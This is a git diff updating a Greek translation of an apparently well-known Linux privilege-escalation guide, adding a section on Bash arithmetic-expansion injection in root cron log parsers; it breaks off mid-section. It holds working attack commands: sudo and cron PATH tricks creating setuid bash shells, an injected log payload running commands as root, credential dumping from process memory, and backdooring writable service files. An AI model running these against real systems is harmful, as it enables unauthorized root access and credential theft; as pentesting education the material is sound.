diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index e2d663d45..676e3d20e 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS πληροφορίες -Ας αρχίσουμε να αποκτούμε πληροφορίες για το OS που τρέχει +Ας ξεκινήσουμε να συλλέγουμε πληροφορίες για το OS που τρέχει ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,13 +14,13 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Εάν **έχετε write permissions σε οποιονδήποτε φάκελο μέσα στη `PATH`** μεταβλητή, μπορεί να μπορέσετε να hijack κάποιες libraries ή binaries: +Εάν **έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`**, μπορεί να καταφέρετε να υποκλέψετε κάποιες βιβλιοθήκες ή binaries: ```bash echo $PATH ``` -### Env info +### Πληροφορίες περιβάλλοντος -Υπάρχουν ενδιαφέρουσες πληροφορίες, κωδικοί πρόσβασης ή API keys στις environment variables; +Ενδιαφέρουσες πληροφορίες, passwords ή API keys στις μεταβλητές περιβάλλοντος; ```bash (env || set) 2>/dev/null ``` @@ -32,10 +32,10 @@ cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Μπορείτε να βρείτε μια καλή λίστα με ευάλωτους kernel και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Άλλοι ιστότοποι όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Μπορείτε να βρείτε μια καλή λίστα με ευάλωτους kernel και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Για να εξαγάγετε όλες τις ευάλωτες εκδόσεις του kernel από αυτόν τον ιστότοπο μπορείτε να κάνετε: +Για να εξαγάγετε όλες τις ευάλωτες εκδόσεις του kernel από αυτή την ιστοσελίδα μπορείτε να κάνετε: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2 [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (εκτέλεση στο θύμα, ελέγχει μόνο exploits για kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (εκτελέστε ΣΤΟ θύμα, ελέγχει μόνο exploits για kernel 2.x) -Πάντα **ψάξε την kernel version στο Google**, ίσως η kernel version σου να αναφέρεται σε κάποιο kernel exploit και τότε θα είσαι σίγουρος ότι αυτό το exploit είναι έγκυρο. +Πάντα **αναζητήστε την έκδοση του kernel στο Google**, ίσως η έκδοση του kernel σας να αναφέρεται σε κάποιο kernel exploit και έτσι θα είστε σίγουροι ότι αυτό το exploit είναι έγκυρο. ### CVE-2016-5195 (DirtyCow) @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo έκδοση -Με βάση τις ευάλωτες εκδόσεις του sudo που εμφανίζονται στο: +Με βάση τις ευάλωτες εκδόσεις του sudo που εμφανίζονται σε: ```bash searchsploit sudo ``` @@ -73,20 +73,20 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg: Αποτυχία επαλήθευσης υπογραφής +### Απέτυχε η επαλήθευση υπογραφής του Dmesg -Δείτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς θα μπορούσε να εκμεταλλευτεί αυτό το vuln +Δείτε **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η vuln θα μπορούσε να εκμεταλλευθεί. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Περισσότερα system enumeration +### Περισσότερη διερεύνηση του συστήματος ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Απαρίθμηση πιθανών αμυντικών μέτρων +## Καταγράψτε πιθανές άμυνες ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Αν βρίσκεστε μέσα σε docker container, μπορείτε να προσπαθήσετε να διαφύγετε από αυτό: - +Αν βρίσκεστε μέσα σε ένα docker container, μπορείτε να προσπαθήσετε να δραπετεύσετε από αυτό: {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Δίσκοι -Ελέγξτε **τι είναι προσαρτημένο και τι δεν είναι προσαρτημένο**, πού και γιατί. Αν κάτι δεν είναι προσαρτημένο, μπορείτε να προσπαθήσετε να το προσαρτήσετε και να ελέγξετε για ιδιωτικές πληροφορίες +Ελέγξτε **τι είναι προσαρτημένο και τι δεν είναι προσαρτημένο**, πού και γιατί. Αν κάτι δεν είναι προσαρτημένο, μπορείτε να προσπαθήσετε να το προσαρτήσετε και να ελέγξετε για ιδιωτικές πληροφορίες. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Χρήσιμο λογισμικό -Καταγραφή χρήσιμων binaries +Απαριθμήστε χρήσιμα binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Επίσης, έλεγξε αν **any compiler is installed**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσεις κάποιο kernel exploit καθώς συνιστάται να το compile στο μηχάνημα όπου θα τον χρησιμοποιήσεις (ή σε ένα παρόμοιο). +Επίσης, έλεγξε αν **any compiler is installed**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσεις κάποιο kernel exploit, καθώς συνιστάται να το compile στη μηχανή όπου θα το χρησιμοποιήσεις (ή σε μία παρόμοια). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Εγκατεστημένο Ευάλωτο Λογισμικό +### Ευάλωτο Εγκατεστημένο Λογισμικό -Ελέγξτε για την **έκδοση των εγκατεστημένων πακέτων και υπηρεσιών**. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios (για παράδειγμα) η οποία θα μπορούσε να εκμεταλλευθεί για ανύψωση προνομίων…\ +Ελέγξτε για την **έκδοση των εγκατεστημένων πακέτων και υπηρεσιών**. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios (για παράδειγμα) που θα μπορούσε να αξιοποιηθεί για escalating privileges…\ Συνιστάται να ελέγξετε χειροκίνητα την έκδοση του πιο ύποπτου εγκατεστημένου λογισμικού. ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +Αν έχετε SSH πρόσβαση στη μηχανή μπορείτε επίσης να χρησιμοποιήσετε το **openVAS** για να ελέγξετε για ξεπερασμένο ή ευάλωτο λογισμικό εγκατεστημένο στη μηχανή. -> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που θα είναι κατά κύριο λόγο άχρηστες, επομένως συνιστώνται εφαρμογές όπως OpenVAS ή παρόμοιες που θα ελέγξουν αν κάποια εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits_ +> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που κατά κύριο λόγο θα είναι άχρηστες, συνεπώς συνιστάται η χρήση εφαρμογών όπως το OpenVAS ή παρόμοιων που θα ελέγξουν αν κάποια έκδοση εγκατεστημένου λογισμικού είναι ευάλωτη σε γνωστά exploits_ -## Διεργασίες +## Διαδικασίες -Ρίξε μια ματιά σε **ποιες διεργασίες** εκτελούνται και έλεγξε αν κάποια διεργασία έχει **περισσότερα προνόμια απ' όσα θα έπρεπε** (ίσως ένα tomcat να εκτελείται από root?) +Ρίξτε μια ματιά στα **τι διαδικασίες** εκτελούνται και ελέγξτε αν κάποια διεργασία έχει **περισσότερα προνόμια από όσα θα έπρεπε** (ίσως ένα tomcat να εκτελείται από root?) ```bash ps aux ps -ef top -n 1 ``` -Πάντα ελέγχετε για πιθανούς [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** εντοπίζει αυτά ελέγχοντας την παράμετρο `--inspect` στη γραμμή εντολών της διεργασίας.\ -Επίσης **ελέγξτε τα προνόμια που έχετε πάνω στα binaries των διεργασιών**, ίσως να μπορείτε να αντικαταστήσετε κάποιο. +Ελέγξτε πάντα για πιθανούς [**electron/cef/chromium debuggers** που τρέχουν — μπορείτε να τα εκμεταλλευτείτε για escalation προνομίων](electron-cef-chromium-debugger-abuse.md). Το **Linpeas** τα εντοπίζει ελέγχοντας το παράμετρο `--inspect` μέσα στη γραμμή εντολών της διεργασίας.\ +Επίσης **ελέγξτε τα προνόμιά σας πάνω στα processes binaries**, ίσως μπορείτε να αντικαταστήσετε κάποιο. -### Process monitoring +### Παρακολούθηση διεργασιών -Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διεργασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για τον εντοπισμό ευάλωτων διεργασιών που εκτελούνται συχνά ή όταν πληρούνται ορισμένες προϋποθέσεις. +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διεργασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διεργασίες που εκτελούνται συχνά ή όταν πληρούνται συγκεκριμένες προϋποθέσεις. -### Process memory +### Μνήμη διεργασίας -Κάποιες υπηρεσίες ενός server αποθηκεύουν **διαπιστευτήρια σε απλό κείμενο μέσα στη μνήμη**.\ -Κανονικά θα χρειαστείτε **root privileges** για να διαβάσετε τη μνήμη διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είστε ήδη root και θέλετε να ανακαλύψετε περισσότερα διαπιστευτήρια.\ -Ωστόσο, θυμηθείτε ότι **ως κανονικός χρήστης μπορείτε να διαβάσετε τη μνήμη των διεργασιών που κατέχετε**. +Μερικές υπηρεσίες ενός server αποθηκεύουν **credentials in clear text inside the memory**.\ +Κανονικά θα χρειαστείτε **root privileges** για να διαβάσετε τη μνήμη διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είστε ήδη root και θέλετε να ανακαλύψετε περισσότερα credentials.\ +Ωστόσο, θυμηθείτε ότι **as a regular user you can read the memory of the processes you own**. > [!WARNING] -> Σημειώστε ότι στις μέρες μας οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή**, πράγμα που σημαίνει ότι δεν μπορείτε να εξάγετε/dump άλλες διεργασίες που ανήκουν σε μη προνομιούχο χρήστη. +> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **don't allow ptrace by default**, κάτι που σημαίνει ότι δεν μπορείτε να κάνετε dump άλλων διεργασιών που ανήκουν στον μη προνομιούχο χρήστη σας. > > Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: όλες οι διεργασίες μπορούν να γίνουν debug, εφόσον έχουν το ίδιο uid. Αυτή είναι ο κλασικός τρόπος που λειτουργούσε το ptracing. +> - **kernel.yama.ptrace_scope = 1**: μόνο μια γονική διεργασία μπορεί να γίνει debug. +> - **kernel.yama.ptrace_scope = 2**: Μόνο ο admin μπορεί να χρησιμοποιήσει ptrace, καθώς απαιτείται η ικανότητα CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Καμία διεργασία δεν μπορεί να ανιχνευθεί με ptrace. Μόλις οριστεί, χρειάζεται reboot για να ενεργοποιηθεί ξανά το ptracing. #### GDB -Αν έχετε πρόσβαση στη μνήμη μιας υπηρεσίας FTP (για παράδειγμα) μπορείτε να πάρετε το Heap και να ψάξετε μέσα για τα διαπιστευτήριά της. +Αν έχετε πρόσβαση στη μνήμη μιας FTP υπηρεσίας (για παράδειγμα) μπορείτε να πάρετε το Heap και να ψάξετε μέσα για τα credentials της. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### Σενάριο GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Για ένα δεδομένο ID διεργασίας, **maps δείχνουν πώς η μνήμη αντιστοιχίζεται εντός αυτής της διεργασίας** στον εικονικό χώρο διευθύνσεων· δείχνουν επίσης τα **δικαιώματα κάθε αντιστοιχισμένης περιοχής**. Το **mem** ψευδο-αρχείο **αποκαλύπτει την ίδια τη μνήμη της διεργασίας**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τις μετατοπίσεις τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **seek into the mem file and dump all readable regions** σε ένα αρχείο. +Για ένα δεδομένο process ID, **maps δείχνουν πώς η μνήμη αντιστοιχίζεται μέσα στον εικονικό χώρο διευθύνσεων** της διεργασίας· δείχνουν επίσης τα **permissions κάθε αντιστοιχισμένης περιοχής**. Το **mem** pseudo file **αποκαλύπτει την ίδια τη μνήμη της διεργασίας**. Από το **maps** file γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τα offsets τους. Χρησιμοποιούμε αυτή την πληροφορία για να **seek into the mem file and dump all readable regions** σε ένα αρχείο. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` παρέχει πρόσβαση στη **φυσική** μνήμη του συστήματος, όχι στην εικονική μνήμη. Ο εικονικός χώρος διευθύνσεων του πυρήνα μπορεί να προσπελαστεί χρησιμοποιώντας /dev/kmem.\ -Συνήθως, `/dev/mem` είναι αναγνώσιμο μόνο από **root** και την ομάδα **kmem**. +`/dev/mem` παρέχει πρόσβαση στη **φυσική** μνήμη του συστήματος, όχι στην εικονική μνήμη. Το εικονικός χώρος διευθύνσεων του kernel μπορεί να προσπελαστεί χρησιμοποιώντας /dev/kmem.\ +Συνήθως, `/dev/mem` είναι αναγνώσιμο μόνο από τον χρήστη **root** και την ομάδα **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump για linux -Το ProcDump είναι μια επανερμηνεία για Linux του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Κατεβάστε το από [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +Το ProcDump είναι μια ανασχεδιασμένη έκδοση για Linux του κλασικού εργαλείου ProcDump από τη συλλογή εργαλείων Sysinternals για Windows. Βρείτε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,26 +269,26 @@ Press Ctrl-C to end monitoring without terminating the process. Για να κάνετε dump τη μνήμη μιας διεργασίας μπορείτε να χρησιμοποιήσετε: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε χειροκίνητα να αφαιρέσετε τις απαιτήσεις για root και να κάνετε dump τη διεργασία που σας ανήκει -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε να αφαιρέσετε χειροκίνητα τις απαιτήσεις root και να κάνετε dump τη διεργασία που ανήκει σε εσάς +- Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root) ### Διαπιστευτήρια από τη μνήμη διεργασίας #### Χειροκίνητο παράδειγμα -Αν διαπιστώσετε ότι η διεργασία authenticator εκτελείται: +Αν διαπιστώσετε ότι η διεργασία authenticator τρέχει: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Μπορείτε να dump the process (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους για να dump the memory ενός process) και να αναζητήσετε credentials μέσα στη memory: +Μπορείτε να dump the process (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους να dump the memory ενός process) και να αναζητήσετε credentials μέσα στη memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **αποσπάσει διαπιστευτήρια σε clear text από τη μνήμη** και από ορισμένα **γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά. +Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα κλέψει διαπιστευτήρια απλού κειμένου από τη μνήμη και από ορισμένα γνωστά αρχεία. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά. | Χαρακτηριστικό | Όνομα διεργασίας | | ------------------------------------------------- | -------------------- | @@ -314,59 +313,81 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Προγραμματισμένες/Cron jobs +## Προγραμματισμένες/Cron εργασίες -Έλεγξε αν κάποια προγραμματισμένη εργασία/Cron job είναι ευάλωτη. Ίσως μπορέσεις να εκμεταλλευτείς ένα script που εκτελείται από root (wildcard vuln; μπορείς να τροποποιήσεις αρχεία που χρησιμοποιεί ο root; να χρησιμοποιήσεις symlinks; να δημιουργήσεις συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί ο root?). +Έλεγξε αν κάποια προγραμματισμένη εργασία είναι ευάλωτη. Ίσως να μπορέσεις να εκμεταλλευτείς ένα script που εκτελείται από root (wildcard vuln? μπορείς να τροποποιήσεις αρχεία που χρησιμοποιεί ο root? use symlinks? να δημιουργήσεις συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί ο root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Διαδρομή Cron Για παράδειγμα, μέσα στο _/etc/crontab_ μπορείτε να βρείτε το PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Σημειώστε πώς ο χρήστης "user" έχει δικαιώματα εγγραφής στο /home/user_) -Εάν μέσα σε αυτό το crontab ο χρήστης root προσπαθήσει να εκτελέσει κάποια εντολή ή script χωρίς να ορίσει το path. Για παράδειγμα: _\* \* \* \* root overwrite.sh_\ +Εάν μέσα σε αυτό το crontab ο χρήστης root προσπαθήσει να εκτελέσει κάποια εντολή ή script χωρίς να ορίσει το PATH. Για παράδειγμα: _\* \* \* \* root overwrite.sh_\ Τότε, μπορείτε να αποκτήσετε root shell χρησιμοποιώντας: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron που χρησιμοποιεί ένα script με ένα wildcard (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Εάν ένα script που εκτελείται από root έχει ένα “**\***” μέσα σε μια εντολή, μπορείτε να το εκμεταλλευτείτε για να κάνετε απροσδόκητα πράγματα (όπως privesc). Παράδειγμα: +Αν ένα script που εκτελείται από root περιέχει “**\***” μέσα σε μια εντολή, μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε απρόβλεπτες ενέργειες (όπως privesc). Παράδειγμα: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Εάν το wildcard προηγείται μιας διαδρομής όπως** _**/some/path/\***_ **, δεν είναι ευάλωτο (ούτε καν** _**./\***_ **).** +**Αν το wildcard προηγείται από ένα path όπως** _**/some/path/\***_ **, δεν είναι ευάλωτο (ακόμα και** _**./\***_ **δεν είναι).** -Διάβασε την παρακάτω σελίδα για περισσότερα wildcard exploitation tricks: +Διαβάστε την ακόλουθη σελίδα για περισσότερα wildcard exploitation tricks: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Επανεγγραφή Cron script και symlink -Εάν **μπορείς να τροποποιήσεις ένα cron script** που εκτελείται από τον root, μπορείς να αποκτήσεις ένα shell πολύ εύκολα: +### Bash arithmetic expansion injection in cron log parsers + +Το Bash εκτελεί parameter expansion και command substitution πριν από την arithmetic evaluation στις ((...)), $((...)) και let. Αν ένας root cron/parser διαβάζει μη αξιόπιστα πεδία log και τα τροφοδοτεί σε ένα arithmetic context, ένας attacker μπορεί να εγχύσει ένα command substitution $(...) που εκτελείται ως root όταν τρέχει ο cron. + +- Why it works: Στο Bash, οι expansions συμβαίνουν με αυτή τη σειρά: parameter/variable expansion, command substitution, arithmetic expansion, και μετά word splitting και pathname expansion. Έτσι μια τιμή όπως `$(/bin/bash -c 'id > /tmp/pwn')0` πρώτα αντικαθίσταται (τρέχοντας την εντολή), και το υπόλοιπο αριθμητικό `0` χρησιμοποιείται για την arithmetic ώστε το script να συνεχίσει χωρίς σφάλματα. + +- Τυπικό ευάλωτο μοτίβο: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Exploitation: Γράψτε attacker-controlled κείμενο στο parsed log έτσι ώστε το numeric-looking πεδίο να περιέχει ένα command substitution και να τελειώνει με ένα ψηφίο. Βεβαιωθείτε ότι η εντολή σας δεν γράφει στο stdout (ή κάντε redirect) ώστε το arithmetic να παραμένει έγκυρο. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Cron script overwriting and symlink ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Αν το script που εκτελείται από το root χρησιμοποιεί ένα directory στο οποίο έχετε full access, ίσως είναι χρήσιμο να διαγράψετε εκείνο το folder και να δημιουργήσετε ένα symlink προς κάποιο άλλο folder που θα σερβίρει ένα script υπό τον έλεγχό σας. +Αν το script που εκτελείται από τον root χρησιμοποιεί ένα **directory όπου έχεις πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψεις αυτό το folder και να **δημιουργήσεις ένα symlink folder προς κάποιο άλλο** που εξυπηρετεί ένα script που ελέγχεις. ```bash ln -d -s ``` ### Συχνές cron jobs -Μπορείτε να παρακολουθήσετε τις διεργασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως να μπορείτε να το εκμεταλλευτείτε και να escalate privileges. +Μπορείτε να παρακολουθήσετε τις διεργασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να το εκμεταλλευτείτε και να escalate privileges. -Για παράδειγμα, για να **παρακολουθείτε κάθε 0.1s για 1 λεπτό**, **ταξινομήσετε κατά τις λιγότερο εκτελεσμένες εντολές** και να διαγράψετε τις εντολές που έχουν εκτελεστεί τις περισσότερες φορές, μπορείτε να κάνετε: +Για παράδειγμα, για να **παρακολουθήσετε κάθε 0.1s για 1 λεπτό**, **ταξινομήστε κατά τις λιγότερο εκτελεσμένες εντολές** και να διαγράψετε τις εντολές που έχουν εκτελεστεί πιο συχνά, μπορείτε να κάνετε: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -374,7 +395,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Αόρατα cron jobs -Μπορείτε να δημιουργήσετε ένα cronjob **τοποθετώντας ένα carriage return μετά από ένα σχόλιο** (χωρίς χαρακτήρα newline), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα carriage return): +Είναι δυνατό να δημιουργήσετε ένα cronjob **τοποθετώντας ένα carriage return μετά από ένα σχόλιο** (χωρίς χαρακτήρα newline), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -382,12 +403,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Εγγράψιμα _.service_ αρχεία -Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, **μπορείτε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινάει**, **επανεκκινείται** ή **τερματίζεται** (ίσως χρειαστεί να περιμένετε μέχρι να γίνει επανεκκίνηση της μηχανής).\ +Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, **θα μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινάει**, **επαναεκκινείται** ή **διακόπτεται** (ίσως χρειαστεί να περιμένετε μέχρι το μηχάνημα να επανεκκινηθεί).\ Για παράδειγμα δημιουργήστε το backdoor σας μέσα στο .service αρχείο με **`ExecStart=/tmp/script.sh`** -### Εγγράψιμα δυαδικά αρχεία υπηρεσίας +### Εγγράψιμα service binaries -Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε δυαδικά αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε ώστε να περιέχουν backdoors, οπότε όταν οι υπηρεσίες εκτελεστούν ξανά θα εκτελεστούν και τα backdoors. +Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής στα binaries που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε για να τοποθετήσετε backdoors οπότε όταν οι υπηρεσίες επανεκτελεστούν, τα backdoors θα εκτελεστούν. ### systemd PATH - Σχετικές Διαδρομές @@ -395,74 +416,74 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -Αν βρείτε ότι μπορείτε να **γράψετε** σε οποιονδήποτε από τους φακέλους της διαδρομής, μπορεί να μπορείτε να **αυξήσετε τα προνόμια**. Πρέπει να αναζητήσετε **χρήση σχετικών διαδρομών σε αρχεία ρυθμίσεων υπηρεσιών** όπως: +Εάν διαπιστώσετε ότι μπορείτε να **write** σε οποιονδήποτε από τους φακέλους της διαδρομής, ενδέχεται να μπορείτε να **escalate privileges**. Πρέπει να αναζητήσετε αρχεία **relative paths being used on service configurations** όπως: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh 